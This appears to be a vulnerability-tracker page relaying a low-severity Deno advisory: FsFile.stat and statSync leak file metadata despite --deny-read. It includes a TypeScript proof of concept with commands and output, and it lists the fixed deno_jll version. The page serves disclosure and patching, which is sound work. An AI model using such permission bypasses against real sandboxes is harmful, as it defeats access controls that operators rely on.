Track vulnerabilities like this one. Sign up free to get alerted when software you use is affected.
3.3

Deno allows unauthorized access to file stats even with restricted permissions

published 6 months ago
Summary

Deno's Deno.FsFile.prototype.stat and Deno.FsFile.prototype.statSync methods can reveal file information to scripts that don't have permission to read the file. This can happen even if you've restricted the script's access to the file using the --deny-read option. To protect your files, make sure to use the allow-read option or avoid using these methods when permissions are restricted.

What to do
  • Update juliabinarywrappers deno_jll to version 2.6.3+0.
Affected software
Ecosystem VendorProductAffected versions
Julia juliabinarywrappers deno_jll < 2.6.3+0
Fix: upgrade to 2.6.3+0
Original advisory text
Deno's --deny-read check does not prevent permission bypass
### Summary

`Deno.FsFile.prototype.stat` and `Deno.FsFile.prototype.statSync` are not limited by the permission model check `--deny-read=./`.

It's possible to retrieve stats from files that the user do not have explicit read access to (the script is executed with `--deny-read=./`)

Similar APIs like `Deno.stat` and `Deno.statSync` require `allow-read` permission, however, when a file is opened, even with file-write only flags and deny-read permission, it's still possible to retrieve file stats, and thus bypass the permission model.

### PoC

Setup:

```
deno --version
deno 2.4.2 (stable, release, x86_64-unknown-linux-gnu)
v8 13.7.152.14-rusty
typescript 5.8.3

touch test1.txt
```

- `poc_file.stat.ts`

```ts
// touch test1.txt
// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.stat
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 1
// deno run --allow-write=./ poc_file.stat.ts 1
async function poc1(){
using file = await Deno.open("./test1.txt", { read: false, write: true});
const fileInfo = await file.stat();
console.log(fileInfo.isFile);
}

// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.statSync
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 2
// deno run --allow-write=./ poc_file.stat.ts 2
function poc2(){
using file = Deno.openSync("./test1.txt", { read: false, write: true});
const fileInfo = file.statSync();
console.log(fileInfo.isFile);
}

// https://docs.deno.com/api/deno/~/Deno.stat
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 3
// deno run --allow-write=./ poc_file.stat.ts 3
async function poc3(){
// not executed
const fileInfo = await Deno.stat("./test1.txt");
console.log(fileInfo.isFile);
}

// https://docs.deno.com/api/deno/~/Deno.statSync
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 4
// deno run --allow-write=./ poc_file.stat.ts 4
function poc4(){
// not executed
const fileInfo = Deno.statSync("./test1.txt");
console.log(fileInfo.isFile);
}


async function main(){
const poc = Deno.args[0] || 1;

const status = await Deno.permissions.query({ name: "read", path: "./" });
console.log(status);
switch (poc) {
case "1":
poc1()
break;
case "2":
poc2()
break;
case "3":
poc3()
break;
case "4":
poc4()
break;
default:
poc1()
}
}

main()
```

Output:

- `deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 1`

```
PermissionStatus { state: "denied", onchange: null }
true
```

- `deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 2`

```
PermissionStatus { state: "denied", onchange: null }
true
```

- `deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 3`

```
PermissionStatus { state: "denied", onchange: null }
error: Uncaught (in promise) NotCapable: Requires read access to "./test1.txt", run again with the --allow-read flag
const fileInfo = await Deno.stat("./test1.txt");
^
...
```

- `deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 4`

```
PermissionStatus { state: "denied", onchange: null }
error: Uncaught (in promise) NotCapable: Requires read access to "./test1.txt", run again with the --allow-read flag
const fileInfo = Deno.statSync("./test1.txt");
^
...
```

### Impact

Permission model bypass
Fix within
Internet-facing 60 days
Internal At next upgrade
  • Not known to be exploited
  • Needs hands-on effort to exploit (estimated)
  • Gives an attacker partial control (estimated)
Severity
3.3 Low
Timeline
Published14 Apr 2026
Updated14 Apr 2026
First seen14 Apr 2026
Sources
Track software like this
Free during beta